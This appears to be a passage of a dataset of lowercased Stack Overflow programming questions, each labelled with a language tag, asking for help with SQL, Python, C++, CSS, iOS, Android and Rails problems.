currentlocation.coordinate.longitude                                 currentlocation.coordinate.latitude];      } } </code></pre>   from the .m file where the method is located (the calculations class)   <pre><code>@implementation bidcalculations  + (double)calculatespeed:(cllocation *)newlocation; {     return newlocation.speed; } </code></pre>   from the .h file for the calculations class   <pre><code>@interface bidcalculations : nsobject  + (double)calculatespeed:(cllocation *)newlocation;  @end </code></pre>,objective-c
sharing files from an iphone app  i ve written an iphone app that uses <a href= http://code.google.com/p/cocoahttpserver/  rel= nofollow noreferrer >cocoahttpserver</a> to share the documents/ folder of the app. this works very well  and i can list the files over wifi from my windows machine using a browser. (eg. <a href= http://192.168.1.4:424242  rel= nofollow noreferrer >http://192.168.1.4:424242</a> ). the only downside is that users have to save the file from the browser before they can actually use it.     but what i would like to know is if i could make the files appear inside windows explorer like the network shares (eg. \\192.168.1.70). what protocol is needed for this case  is it smb (samba)      i am also a little confused about bonjour. will bonjour be useful in conjunction with the http server scheme i am using      my goal is to provide a convenient way for users to access these files from windows as well as os x.     regards    mv,iphone
joining/ querying large tables  <strong>[aim]</strong><br> we would like to look up if an event already exists in table a and if so how many times. this count() should then be joined in a single query comprising of all of table b events and the count of table a occurences.    <strong>[context]</strong><br>  table a  has ~4 million rows with following structure:  <code>| unique_id | date |</code><br>  table b  has ~1 million rows with following structure: <code>| unique_id | date | cost |</code><br> unique_id  is the system-wide id that we can use to do  joins  <br>    <strong>[expected outcomes]</strong><br> have an output as follows:   <pre><code>b.unique_id | b.date |  count of a events  if any  | b.cost </code></pre>   <strong>[problem]</strong><br> - how to structure this query in that it runs as fast as possible  a view  a query  something else     thanks!,sql
how to read csvfile into dictionary format  i have a csv file as below:   <pre><code>a green a red a blue b white b black b brown </code></pre>   i want to read it into python dictionary as below   <pre><code>{ a :{ green   red   blue }  b :{ white   black   brown }} </code></pre>   how can i do  help me please,python
insert row in middle of table layout panel c# windows  i am trying to add a row in middle of table layout panel. however i am struggling to find a way to do this. i tried following from one of the article on internet but this doesn t seems to be working. can you help.     i have 3 columns and 5 rows in table layout panel. each row containing lable  textbox and blank lable.     i am trying to add a row after 2nd row in already created table layout panel.    <pre><code>var addoncontrol = confirmationtable.controls.find( discount   true).first(); int childindex = 1+ confirmationtable.controls.getchildindex(addoncontrol);   label lbl = new label(); lbl.name = key; lbl.text = key; lbl.font = new font( calibri   10f  system.drawing.fontstyle.regular); lbl.size = new size(lbl.size.width + 70  lbl.size.height);  confirmationtable.controls.add(lbl);  textbox txt = new textbox(); txt.multiline = true; txt.textchanged += txt_textchanged; txt.name =  txtprice  + key; txt.text = value; txt.borderstyle = borderstyle.none;  confirmationtable.controls.add(txt);  lbl = new label(); lbl.name =  blank ; confirmationtable.controls.add(lbl);  confirmationtable.controls.setchildindex(lbl  childindex); confirmationtable.controls.setchildindex(txt  childindex + 1); confirmationtable.controls.setchildindex(txt  childindex + 2); </code></pre>   but above code always adds a row at the bottom of the table. any suggestion,c#
mysql result is 0 even though i can see it in the table  hi all i ve got an interesting problem i ve never come across  but it seems to be something that crops up here every so often  however none are exactly like my situtation.    i have a table in mysql that holds supplier data which is imported from a .csv    i then match the product by the supplier code.    however  in doing this i am not receiving a match  even though i can see the expected result in the table.    here is my query:   <pre><code>select  `dealer`    `qty`  from  `supplier_import_all`  where  `supplier_id` =   13  and  `supplier_code` =   digital979  limit 0   30 </code></pre>   and the mysql result message:   <blockquote>    mysql returned an empty result set (i.e. zero rows). ( query took   0.0027 sec )  </blockquote>   this isn t right  i can see the entry in the table in phpmyadmin:    <img src= https://i.stack.imgur.com/tonfy.png  alt= enter image description here >    any ideas on this one would be really appreciated as i am stumped.   <hr>   added the following before inserting into the database and it appears to have fixed the problem:   <pre><code>$supplier_code = str_replace(         $supplier_code); $supplier_code = preg_replace( /[^a-za-z0-9\-]/       $supplier_code); </code></pre>   still interested to know why trim did not work tho  cos i am sure it must just be white spacing somewhere around the data  which has been reaffirmed by others here.,mysql
creating new items based on sort values  i have a situation where i m building a new list based on sort values on another column.    for example table: products id  name  sort_order  expiration_date    table: lists id  product_id    let s say i want to always have 15 products in the lists table and in order.  however  products expire  and when this happens they are being removed from the lists table  then we need to add in new products based on the  next in line  by the sort_order (the last sort_order id in lists + 1  if it exists  if not  start over).    i hope this makes sense...    but my question is  is there a way to handle this all in one query     right now  here s how i would do it:   <pre><code>    query 1: select count(*)  sort_order as so from lists order by sort_order desc  if($count &lt; 15){     $difference = 15 - $count;     for($c = $count; $c &gt;= 1; $c -=1){         query 2: select id from products where sort_order = $so + 1 limit 1         if(results = 0){              query 3: select id from products order by sort_order asc limit 1               query 4: insert (id) into lists          }else{               query 5: insert (id) into lists          }     } } </code></pre>   just seems like a lot of queries for a fairly simple task....  any suggestions would be huge!    thank you!,mysql
how do i prevent an image from shrinking when the browser zooms out   i have a banner image that looks just fine when the site is at 100% zoom in chrome. however  if you zoom out (say to 60%)  the banner shrinks and falls to the left. is there a way to prevent this      here s the site under construction: <a href= http://dfars1.surge.sh/  rel= nofollow noreferrer >http://dfars1.surge.sh/</a>    if there is no way to prevent images from shrinking  is there another solution to maintain the appearance,css
copying files with python under windows  i m trying to copy files inside a python script using the following code:   <pre><code>inf outf = open(ifn  r )  open(ofn  w ) outf.write(inf.read()) inf.close() outf.close() </code></pre>   this works perfectly unedr osx (and other unix flavors i suspect) but fails under windows. basically  the read() call returns far less bytes than the actual file size (which are around 10kb in length) hence causing the write truncate the output file.    the description of the read() method says that  if the size argument is negative or omitted  read all data until eof is reached  so i expect the above code to work under any environment  having python shielding my code from oss quirks.    so  what s the point  now  i resorted to shutil.copyfile  which suits my need  and it works. i m using python 2.6.5    thank you all.,python
split time string  ok  i ve resisted to post this question but i can t explain the results i m getting  so here it is:    i have get a time value in a military format  like 16:00. from this i need to get 3 different hours:   <ul> <li>an hour before the given </li> <li>given hour  and </li> <li>the hour following the given one</li> </ul>   so expected result will be:   <ul> <li>15</li> <li>16</li> <li>17</li> </ul>   `   <pre><code>var timeres = $(this).data( time )  timeget = timeres.split( : )  hourget = timeget[0]  minsget = timeget[1]  hourbfo = (hourget-1)  hournxt = (hourget++);` </code></pre>   seems pretty basic  however  when i test and out put the following:   <pre><code>console.log(timeres+  -- get:  +timeget +   -- bfo:  +hourbfo+  -- now:  +hourget+  -- nxt:  +hournxt+  -- mins:  +minsget); </code></pre>   i get this:    <blockquote>    16:00 -- get: 16 00 -- bfo: 15 -- now: 17 -- nxt: 16 -- mins: 00  </blockquote>   notice  <strong>now</strong> and <strong>nxt</strong> are flipped. what am i missing ...,jquery
after end of result set error (probably with string)  i m just wondering how to get rid of this error:   <pre><code>try {     int ppointd;     string nazwa;     int smr;     int zab;     preparedstatement pktupdate = main.c.preparestatement( select * from `staty` order by `pkt` desc limit 10 );     resultset rs1 = pktupdate.executequery();     for(int i = 1; i&lt;11; i++) {         rs1.next();         nazwa = rs1.getstring( nazwa );         zab = rs1.getint( zab );         smr = rs1.getint( smr );         ppointd = rs1.getint( pkt );         p.sendmessage( §a +i+ . §e  + nazwa +   §b- §6pkt: §7[§4  + ppointd+  §7] §6zab: §7[§4 +zab+ §7] §6smr: §7[§4 +smr+ §7] );     } } catch (sqlexception e) {     // todo auto-generated catch block     e.printstacktrace(); } </code></pre>   i made some digging and i know it s about this <code>string</code>  but i have no clue how to skip this and have same output. any ideas,mysql
exist statement if value exists then do return other values  attempting to use this code   <pre><code>and (exists (select  1  from amrpusr          where amrpusr_usrc_code =  bkground           and amrpusr_usrc_code &lt;&gt;  busdesc           and amrpusr_usrc_code &lt;&gt;  emphis           and amrpusr_usrc_code &lt;&gt;  faminfo           and amrpusr_usrc_code &lt;&gt;  giftothr           and amrpusr_usrc_code &lt;&gt;  persaffil           and amrpusr_usrc_code &lt;&gt;  profaffil )) </code></pre>   i m trying to say if the value <code> bkground </code> exists then do not show me the other values listed below it   but if <code> bkground </code> doesn t exist then list everything below it...    any help,mysql
how do you create an instance of a class in c++  i m a c++ beginner. i have a class and when i try to compile it says it s missing  main .    what do i need to do to create an instance of this class and access its methods    <pre><code>#include &lt;string&gt; #include &lt;iostream&gt;  using namespace std;  class account {       string name;       double balance;    public:       account(string n);       account(string n  double initial_balance);        string get_name() const;       double get_balance() const;        void deposit(double amount);        void widthdraw(double amount);  }; </code></pre>   <strong>edit:</strong>    where do i put the main method     i have tried putting it in a different file like the following   <pre><code>    #include &lt;account&gt;     int main(){     account:: account(string n) : name(n)  balance(0){}     return 0 ;     } </code></pre>   but this gives an error saying there is not account in the directory. i m guessing this is because it s not compiled    <strong>edit:</strong>    both files are in the same directory    <strong>account_main.cc</strong>   <pre><code>    #include&lt;string&gt;     #include &lt;iostream&gt;     #include  account.cc       account:: account(string n) : name(n)  balance(0){}      int main()     {         account account( account name ); // a variable called  account          account.deposit(100.00); // calls the deposit() function on account          return 0 ;     } </code></pre>   <strong>account.cc</strong>   <pre><code>#include&lt;string&gt; #include &lt;iostream&gt;  using namespace std;  class account {       string name;       double balance;    public:       account(string n);       account(string n  double initial_balance);        string get_name() const;       double get_balance() const;        void deposit(double amount);        void widthdraw(double amount);  }; </code></pre>,c++
querying a large table using mysql  i manage a property website. i have a table with banned users (small table) and a table called advert_views which keeps track of each listing that each user views (currently 1.3m lines and growing). the advert_views table alsio takes note of the ip address for every advert viewed).    i want to get the ip addresses used by the banned users and check if any of these banned users have opened new accounts. i ran the following query:   <pre><code>select adviews.user_id as  banned user_id           adviews.client_ip as  ips used by banned users           adviews2.user_id as  banned users that opened a new account  from banned_users left join users on users.email_address = banned_users.email_address  #since i don t store the user_id in banned_users left join advert_views adviews on adviews.user_id = users.id and adviews.user_id is not null # users may view listings when not logged in but they have restricted access to the information on the listing left join (select client_ip                    user_id                    from advert_views                    where user_id is not null                    ) adviews2                  on adviews2.client_ip = adviews.client_ip where banned_users.rec_status = 1 and adviews.user_id &lt;&gt; adviews2.user_id group by adviews2.user_id </code></pre>   i applied an index on the advert_views table and the users table as per below:    <a href= http://i.stack.imgur.com/oj41b.png  rel= nofollow >enter image description here</a>    my query takes half an hour to execute. is there a way how to improve my query speed     thanks! chris,mysql
variable isn t increasing in function  i have a variable that goes up at the end of every function and the function calls on the variable. the problem is  the variable won t increase. any advice    <pre><code>var i; i=0;  example function() { &lt;function&gt;  i++; } </code></pre>   the function continually returns 1.,javascript
how to get expandenvironmentvariables to return custom variables   i have added a custom environment variable and i m unable to get it to return in the expandenvironmentvariables.      <strong>these 2 calls work fine:</strong>   <pre><code>string s = environment.getenvironmentvariable( test   environmentvariabletarget.machine); </code></pre>   // s =  d:\temp2    <pre><code>string path = environment.expandenvironmentvariables(@ %windir%\temp1 ); </code></pre>   // path =  c:\windows\temp1     <strong>however  this call returns the same input string:</strong>   <pre><code>var path = environment.expandenvironmentvariables(@ %test%\temp1 );  // path =  %test%\\temp1  </code></pre>   i expect to get d:\temp2\temp1    what am i missing to correctly get the custom environmentvariable in this last call  <a href= https://i.stack.imgur.com/navst.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/navst.png  alt= envionmental variables ></a>,c#
how to determine when given a set of triangle triangles which has the smallest angle  i have been trying to create a program that determines: when given a set of right angle triangles which has the smallest angle. but i am having a lot of difficulty i have deduced that if a is a side length and b and c is the hypotenuse that is a  <pre><code>float a  b  c  a1  b1  c1; float sintheta  sintheta1;  printf ( please enter values for a  b  c\n ); scanf ( %f%f%f   &amp;a  &amp;b  &amp;c);  printf ( please enter values for a1  b1  c1\n ); scanf ( %f%f%f   &amp;a1  &amp;b1  &amp;c1);   sintheta=a/c; sintheta1=a1/c1;  if (sintheta &lt; sintheta1)     printf ( the triangle a b c has the smaller angle\n );      else         if (sintheta &gt; sintheta1)             printf ( the triangle a1  b1  c1 has the smaller angle\n );  return 0; </code></pre>,c
retain text in tabwidget when icons are changed  i have the text for the tab set in this way:   <pre><code>tabspec tabspecprofile = tabhost.newtabspec( profile ).setindicator( profile   resources.getdrawable(r.drawable.icon_tab_profile))             .setcontent(intentprofile); </code></pre>   also here is the icon_tab_profile.xml code:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;selector xmlns:android= http://schemas.android.com/apk/res/android &gt; &lt;item      android:state_selected= true      android:drawable= @drawable/profile_tab_selected  /&gt; &lt;item      android:state_selected= false       android:drawable= @drawable/profile_tab_not_selected  /&gt; &lt;/selector&gt; </code></pre>   i see that the images change correctly on tab select  but the text disappears. the text along with the correct icon is seen on the other tabs. any leads on how to retain the text  thanks in advance for all your help.,android
null in the output  can anyone explain why <code>self.mathfunc.text = null</code> in the output    code:   <pre><code>-(id) initwithvalue:(nsstring *) value {     self = [self init];     nslog(@ value %@  value);     self.mathfunc.text  = value;     nslog(@ self.mathfunc.text %@  self.mathfunc.text);     [self setlabel];     return self; } </code></pre>   and output is    <pre><code>014-01-10 15:18:09.566 mathracer[1573:a0b] value div 2014-01-10 15:18:09.568 mathracer[1573:a0b] self.mathfunc.text (null) </code></pre>,objective-c
how to get a certain element from an input (c++)  i am new to programming in c++. i am trying to ask the user an input (for example):   <pre><code>std::string numbers; std::cout &lt;&lt; what is your favorite number; std::cin &gt;&gt; numbers </code></pre>   if the user entered   <pre><code>1  2  3 </code></pre>   how do i extract only the number  2   i know in python  you would do something like numbers[1]  but is there a same way in c++ as well,c++
what is fastest way to read more than 3000 .csv files data from a location to sql table through .net c#  please assist.  what is fastest way to read more than 3000 .csv fil moes data from a location to sql table through .net c#    i am using ado.net .<br> size of each file is around 120 kb file contains   separated data    please assist me if any have idea about this,.net
creating a comparison table from scratch with php and mysql and using phython to scrape data  i am used to working a little bit with php but my new client wants to create a price comparison table from scratch.    i am wondering if i should build a plugin for this and try to create my own  or use python to scrape the data from different sites then output into a table  my client does not know where the data comes from that these sites use. the client wants to recreate how this list of deals works where it sorts prices from different websites - <a href= https://www.tigermobiles.com/sim-only/  rel= nofollow noreferrer >https://www.tigermobiles.com/sim-only/</a> does anyone know how this works     i have read this but no help - <a href= https://stackoverflow.com/questions/40460401/products-price-comparison-tool-difficulty-in-matching-identical-items >products price comparison tool: difficulty in matching identical items</a>,php
determine best cdn for image and remember it  i want a way to take any input (url) and get back a number between 1-4  distributed as even as possible 25% for any input. it s important that it gets the same value of 1-4 every time.    the reason i want this is so that i can create seemingly random and evenly disturbed content for a set of cnames (subdomains) for a cdn. it would take pictures that were originally <code>www.website.com/picture.png</code> and output them as     <code>cdn1.website.com/picture.png</code> or  <code>cdn2.website.com/picture.png</code> or  <code>cdn3.website.com/picture.png</code> or  <code>cdn4.website.com/picture.png</code>     effectively allowing me to bypass the browser restrictions set to a subdomain  giving me more parallel connections (read more: <a href= http://yuiblog.com/blog/2007/04/11/performance-research-part-4/  rel= nofollow >http://yuiblog.com/blog/2007/04/11/performance-research-part-4/</a>). the reason why i want the url to <strong>always</strong> pass back to a specific cdn  is for caching purposes; if the <code>www.website.com/picture.png</code> is first displayed as <code>cdn1.website.com/picture.png</code> and a second time around as <code>cdn2.website.com/picture.png</code> then the browser would not know that it has the same picture cached already under cdn1 and would download the same picture twice  rather than relying on cache.    <hr> here the suggested php at it  but i as you can see from results that i don t get that 25% ratio i would like for small sample set. i am looking for alternatives that would also be somewhat close to 25% distribution for small samples.   <pre><code>&lt; php  $num_array = array(); for ($i = 1; $i &lt;= 10000; $i++) {     $num_array[]=(crc32(genrandomurl()) % 4)+1; }   print  &lt;pre&gt; ; print_r(array_count_values($num_array)); print  &lt;/pre&gt; ;  $num_array = array(); for ($i = 1; $i &lt;= 10; $i++) {     $num_array[]=(crc32(genrandomurl()) % 4)+1; }   print  &lt;pre&gt; ; print_r(array_count_values($num_array)); print  &lt;/pre&gt; ;   function genrandomurl($length = 10) {     $characters =  0123456789abcdefghijklmnopqrstuvwxyz ;     $string =   ;     for ($p = 0; $p &lt; $length; $p++) {         $string .= $characters[mt_rand(0  strlen($characters))];     }      return  http://www.website.com/dir/dir2/dir3/ .$string. .png ; }    &gt; </code></pre>   results:   <pre><code>array (     [3] =&gt; 2489     [1] =&gt; 2503     [2] =&gt; 2552     [4] =&gt; 2456 ) array (     [1] =&gt; 5     [2] =&gt; 1     [3] =&gt; 3     [4] =&gt; 1 ) </code></pre>,php
list / string in python  i m trying to parse tweets data.    my data shape is as follows:   <pre><code>59593936 3061025991 null null &lt;d&gt;2009-08-01 00:00:37&lt;/d&gt; &lt;s&gt;&amp;lt;a href= http://help.twitter.com/index.php pg=kb.page&amp;amp;id=75  rel= nofollow &amp;gt;txt&amp;lt;/a&amp;gt;&lt;/s&gt; &lt;t&gt;honda just recalled 440k accords...traffic around here is gonna be light...win!!&lt;/t&gt; ajc8587 15 24 158 -18000 0 0 &lt;n&gt;adrienne conner&lt;/n&gt; &lt;ud&gt;2009-07-23 21:27:10&lt;/ud&gt; &lt;t&gt;eastern time (us &amp;amp; canada)&lt;/t&gt; &lt;l&gt;ga&lt;/l&gt; 22020233 3061032620 null null &lt;d&gt;2009-08-01 00:01:03&lt;/d&gt; &lt;s&gt;&amp;lt;a href= http://alexking.org/projects/wordpress  rel= nofollow &amp;gt;twitter tools&amp;lt;/a&amp;gt;&lt;/s&gt; &lt;t&gt;new blog post: honda recalls 440k cars over airbag risk http://bit.ly/2wsma&lt;/t&gt; madcitywi 294 290 9098 -21600 0 0 &lt;n&gt;madcity&lt;/n&gt; &lt;ud&gt;2009-02-26 15:25:04&lt;/ud&gt; &lt;t&gt;central time (us &amp;amp; canada)&lt;/t&gt; &lt;l&gt;madison  wi&lt;/l&gt; </code></pre>   i want to get the total numbers of tweets and the numbers of keyword related tweets. i prepared the keywords in text file. in addition  i wanna get the tweet text contents  total number of tweets which contain mention(@)  retweet(rt)  and url (i wanna save every url in other file).    so  i coded like this.   <pre><code>import time import os  total_tweet_count = 0 related_tweet_count = 0 rt_count = 0 mention_count = 0 urls = {}  def get_keywords(filepath  mode):     with open(filepath  mode) as f:         for line in f:             yield line.split().lower()  for line in open( /nas/minsu/2009_06.txt ):     tweet = line.strip().lower()      total_tweet_count += 1      with open( ./related_tweets.txt    a ) as save_file_1:         keywords = get_keywords( ./related_keywords.txt    r )          if keywords in line:             text =  line.split( &lt;t&gt; )[1].split( &lt;/t&gt; )[0]              if  http://  in text:                 try:                     url = text.split( http:// )[1].split()[0]                     url =  http://  + url                      if url not in urls:                         urls[url] = []                     urls[url].append( \t  + text)                      save_file_3 = open( ./urls_in_related_tweets.txt    a )                     print &gt;&gt; save_file_3  urls                  except:                     pass              if  @  in text:                 mention_count +=1              if  rt  in text:                 rt_count += 1              related_tweet_count += 1              print &gt;&gt; save_file_1  text      save_file_2 = open( ./info_related_tweets.txt    w )  print &gt;&gt; save_file_2  str(total_tweet_count) +  \t  + srt(related_tweet_count) +  \t  + str(mention_count) +  \t  + str(rt_count)  save_file_1.close() save_file_2.close() save_file_3.close() </code></pre>   following is the sample keywords   <pre><code>depression placebo x-rays x-ray hiv blood preasure flu fever oral health antibiotics diabetes mellitus genetic disorders </code></pre>   i think my code has many problem  but the first error is as follows:   <pre><code>line 23  in &lt;module&gt;    if keywords in line:  typeerror:  in &lt;string&gt;  requires string as left operand  not generator </code></pre>   i coded  def ...  part. i think it has a problem. when i try  print keywords  under line (keywords = get_keywords( ./related_keywords.txt    r ))  it gives something strange numbers not words.... . please help me out!,python
declarations  initializations  instructions in c  i am preparing for an exam about c programming and came across the following question which i am not sure how to answer:      the following syntactically correct declarations are given. assume that all variables have been initialized in the subsequent instructions:    <pre><code>void *vptr  *wptr; char *s; size_t vsize  ssize; int cmp; </code></pre>   three of these instructions are semantically incorrect and would lead to a compilation error  which :   <ol> <li><code>vptr++;</code></li> <li><code>cmp = vptr == wptr;</code></li> <li><code>vsize = sizeof(*vptr);</code></li> <li><code>s = wptr;</code></li> <li><code>s = vptr - 1;</code></li> <li><code>vptr = malloc(ssize * sizeof *s);</code></li> </ol>   somehow when i try to compile these (using the gnu compiler)  i never get an error. my guesses however are that 3  5 and 6 are incorrect because i am trying to get the size of void (3)  accessing/assigning memory that has not been allocated (5) and allocating memory without freeing the previous memory (6). i m rather unsure about my answers  plus i don t get why the compilation worked fine for all these instructions. does anyone have an explanation,c
align form elements in css  i m new to css and have a simple login form that i m trying to align correctly. basically two columns with the labels and the login button in one column and the text boxes in another column. how do i do this in css      the html code is   <pre><code>&lt;body&gt;   &lt;form action=   method= post &gt;     &lt;label&gt; username &lt;/label&gt;     &lt;input type= text /&gt;      &lt;label&gt; password &lt;/label&gt;     &lt;input type= password /&gt;      &lt;input type= submit  value= submit /&gt;   &lt;/form&gt; &lt;/body&gt; </code></pre>,css
best way to wait app launch  i have an app that requests from the server some data on xml type. ok  it does ok. but seems this action loads a little the app on launching.   <pre><code>tbxml *tbxml = nil; tbxml = [[tbxml tbxmlwithurl:[nsurlurlwithstring:@ http://www.someplace.com/test/test.xml ]] retain]; </code></pre>   so  what i figured is make the app wait to launch completely to do this action. so  i ve search for it  and find two ways.   <ul> <li>applicationdidfinishlaunching;</li> <li>awakefromnib;</li> </ul>   i dont know if this is the correct way to do this. so  im open to suggestions.    thanks!,objective-c
how to remove line from input type color  i have an input type color.<a href= https://i.stack.imgur.com/fvzio.png  rel= nofollow noreferrer >choose color</a>    the problem is the line inside the input type. my code looks like this   <pre><code>.input-field-color{   background-color : #000033 !important;   color : #000033 !important;   max-width: 90px;   padding-left: 0.5rem;   padding-right: 0.5rem;   box-shadow: none;   outline-style:none;   border-color:transparent;   border:0;   outline:none; } </code></pre>   and on the page.   <pre><code>&lt;input type= color  name= choosecolor  id= choosecolor  class= form-control input-field-color  [(ngmodel)]= choosecolor  #choosecolor= ngmodel  required maxlength= 15 &gt; </code></pre>,css
counter won t work to end loop  i am working on an assignment and it is working well so far.  but several aspects aren t working.  for starters  my counters for int total and int counter won t work.  also my if statements don t seem to be working.  i have been scratching my head for several days now.      the assignment calls for a program to input the order number and will loop based on how many orders the customer has. it also calls for customer name  sign type(wood or plastic)  the number of characters and color of characters.    some more information:   <ul> <li>the base price for all signs is $20.</li> <li>if sign is wood  add $10.  if it is plastic add $5.</li> <li>the first 5 letters/numbers are included in base price  and $2 for each additional character.</li> <li>black or white characters are included in base price  there is an additional $8 for colored    letters.</li> <li>if the total charge is more than $100 give 25% discount on total price.</li> </ul>   here is my code right now:   <pre><code>import java.util.scanner;  public class carpenter {      public static void main(string[] args) {          scanner sc = new scanner(system.in);         int ordernumber;         string custname;         string signtype;         int numofcharacters;         string color;         int i = 20;         double total;         int counter;          system.out.println( enter your order number );          ordernumber = sc.nextint();          counter=ordernumber;          counter--;          sc.nextline();          system.out.println( enter customer name );          custname = sc.next();          do{             system.out.println( enter the sign type (wood or plastic) );             signtype = sc.next();             if(signtype ==  wood ) {                 i+=10;             }              if(signtype ==  plastic ) {                 i+=5;             }              system.out.println( enter the number of characters );              numofcharacters = sc.nextint();               if(numofcharacters &gt; 5) {                 i += 2*(numofcharacters-5);             }              system.out.println( enter the color of characters );             color = sc.next();              if(color !=  white  || color !=  black ) {                 i += 8;             }              total=  i;             system.out.println( total is: $  + total);             if( total &gt; 100 ) {                 total = (total * 0.25);                 system.out.println( the total is   + total );             }         }         while(counter &lt;= ordernumber);      }  } </code></pre>,java
how to get current mkzoomscale for mapview  i am trying to get the current zoomscale for mapview. i was using    zoomscale = self.mapview.bounds.size.width/ self.mapview.visiblemaprect.size.width;    but the zoomscale does not equal to the one passed to   <ul> <li>(void)drawmaprect:(mkmaprect)maprect       zoomscale:(mkzoomscale)zoomscale       incontext:(cgcontextref)context</li> </ul>   if i use   zoomscale = 2*self.mapview.bounds.size.width/ self.mapview.visiblemaprect.size.width   it can euqal to the one in drawmaprect method on retina iphone but not for any ipad.    so i am still not sure how to get the correct zoomscale for any device  the zoomscale should match the one n drawmaprect.    thanks in advance     james,ios
css decrease negative margin proportional to viewport width  we have been provided a 1500px wide image that is a mockup of a website.    the website design is a fixed width design  where the design takes up the middle 990px of the image.  so the 255px on either side of the image is just overhang to show how the site would expand to bigger viewports (ie  it wouldn t aside from some edge elements expanding to infinity).    what i would like to do is simulate this with the image (up as far as it will go).  so if the viewport is 1500px  the image would start at 0 0.    if the viewport was 990px or less the image would start at 0 255px.    anything in between would scale.  so i would like to scale a negative margin from -255 to 0 depending on the width of the viewport.    kind of like the opposite of    <pre><code>margin: 0 -10% 0 0; </code></pre>   this goes in the opposite direction to what i am thinking - as the viewport gets wider  the image migrates to the left instead of to the right.,css
how to install scipy on windows 10   i have windows 10 and i am trying to install scipy. presently  i have tried pip  but it gave an error   <pre><code>command  c:\python27\python.exe -u -c  import setuptools  tokenize;__file__= c:\\users\\kanika\\appdata\\local\\temp\\pip-build-4jzyxl\\scipy\\setup.py ;exec(compile(getattr(tokenize   open   open)(__file__).read().repl </code></pre>   then i downloaded scs-1.2.6-cp27-cp27m-win_amd64 from <a href= http://www.lfd.uci.edu/~gohlke/pythonlibs/  rel= noreferrer >http://www.lfd.uci.edu/~gohlke/pythonlibs/</a> and tried to run this <code>pip install scs-1.2.6-cp27-cp27m-win_amd64</code> but still got error   <pre><code>could not find a version that satisfies the requirement scs-1.2.6-cp27-cp27m-win_amd64 (from versions: ) no matching distribution found for scs-1.2.6-cp27-cp27m-win_amd64 </code></pre>   how can i install scipy  i have numpy    <strong>update 1</strong>-: i was able to install scipy but now i got error -:   <pre><code>no module named numpy+mkl </code></pre>   so i downloaded numpy-1.11.2+mkl-cp27-cp27m-win_amd64.whl from the same link. but i get this error-:   <pre><code>invalid requirement:  numpy-1.11.2+mkl-cp27-cp27m-win_amd64  traceback (most recent call last):   file  c:\python27\lib\site-packages\pip\req\req_install.py   line 78  in __init__     req = requirement(req)   file  c:\python27\lib\site-packages\pip\_vendor\packaging\requirements.py   line 96  in __init__     requirement_string[e.loc:e.loc + 8])) invalidrequirement: invalid requirement  parse error at   +mkl-cp2   </code></pre>   why am i getting this error,python
string replace in android  to try string replace in android  i wrote a small snippet:   <pre><code>public class cs{  public static void main(string[] args){    string a c;    int b;    b=1;    c= 12345 ;    a= 12345 54321 ;    a.replace(c，string.valueof(b));    system.out.println(a); } } </code></pre>   <b>expected output:</b> 12345 54321 changes to 1 54321    <b>actual output:</b> 12345，54321 。please help。,android
boring javascript calling: why a non-desirable js function has been called   i m building an aspx page with a button that calls another page in a different window  through javascript:   <pre><code>function assuntos() {         window.open( pg_assuntos.aspx    list    scrollbars=no resizable=no width=600 height=480 );     } </code></pre>   in the page s onload event  i have the code:   <pre><code>bot_cadastrar.attributes.add( onclick    assuntos() ) </code></pre>   when i click the button  all gonna be right. but everytime i update a fild that execute a query  the  onclick  event seems to be raised or function seems to be executed  because the window is opened. i also have another code in the onload event for starting a stopwatch javascript function:    vb code:   <pre><code>dim script =  &lt;script language = javascript&gt;  &amp; _                     window.settimeout( showtime()   1000);&lt;/script&gt;   clientscript.registerstartupscript(me.gettype   iniciar   script) </code></pre>   aspx code (javascript):   <pre><code>function showtime() {     var dt = new date();     var dif = dt - dtin;     var tim = new date();     tim.sethours(0  0  0  dif);     document.getelementbyid( &lt;%= cmp_hora.clientid %&gt; ).value = dt.tolocaletimestring();     document.getelementbyid( &lt;%= cmp_tempo.clientid %&gt; ).value = tim.tolocaletimestring();     window.settimeout( showtime()   1000); } </code></pre>   why the function is starting for itself  i m fed up whith these popups!,asp.net
is it possible to add more routes when i already did resources :posts  in my routes i have:   <pre><code>resources :posts </code></pre>   now say i want to create a new action/view  is it possible to add it inside a block like:   <pre><code>resources :posts do   // new routes other than the show/new/create/delete/update that rest gives me. end </code></pre>,ruby-on-rails
app deployed to heroku not stable  i have an app deployed on heroku which uses postgres.  the app is not stable...works sometimes and sometimes gives the custom 500 page error.     code that it is giving error on:   <pre><code>  def login     session[:user_id] = nil     if request.post        if @user = user.authenticate(params[:user][:userid]   params[:user][:password])         session[:user_id] = @user.id                 if @user.stores.length &gt; 0             redirect_to(:controller =&gt;  admin   :action =&gt;  select_store )           else             redirect_to(:controller =&gt;  pages   :action =&gt;  mainpage )           end         else         flash.now[:notice] =  invalid user/password combination        end        end   end </code></pre>   my model looks like:    <pre><code>  def self.authenticate(userid  password)     user = self.find_by_userid_and_password(userid  password)     user   end </code></pre>   heroku logs says:   <pre><code>activerecord::statementinvalid (pgerror: error:  current transaction is aborted  commands ignored until end of transaction block : select * from  users  where ( users . userid  = e sampleuser  and  users . password  = e 12345 )  limit 1):   app/models/user.rb:7:in `authenticate    app/controllers/admin_controller.rb:6:in `login  </code></pre>   since it is an intermittent error i dont know how to fix it.  but is it possible to show the errors on the page ....is it possible to catch errors like these and then still proceed  what would be the best solution,ruby-on-rails
any reason to define types in dll  like #define module_name_int8 __int8  so i am going through some code at work and while i am not an expert in c++ yet i think it is safe to say the code is a bit of mess. still i would like confirmation on something. in the code every type is defined like so:   <pre><code>#define module_name_int8 __int8 </code></pre>   the same for unsigned  16  32 and 64 bit as well as bool  null  true and false. is there possibly some reason for this  it is in a dll  and other parts of the application is written in c# so maybe there is something with this i have not thought of      it really seems like a complete waste and a misuse of define to me. i mean the type name is in the define  it is basically just renaming the type  why clutter the code like this  am i right or am i missing something,c++
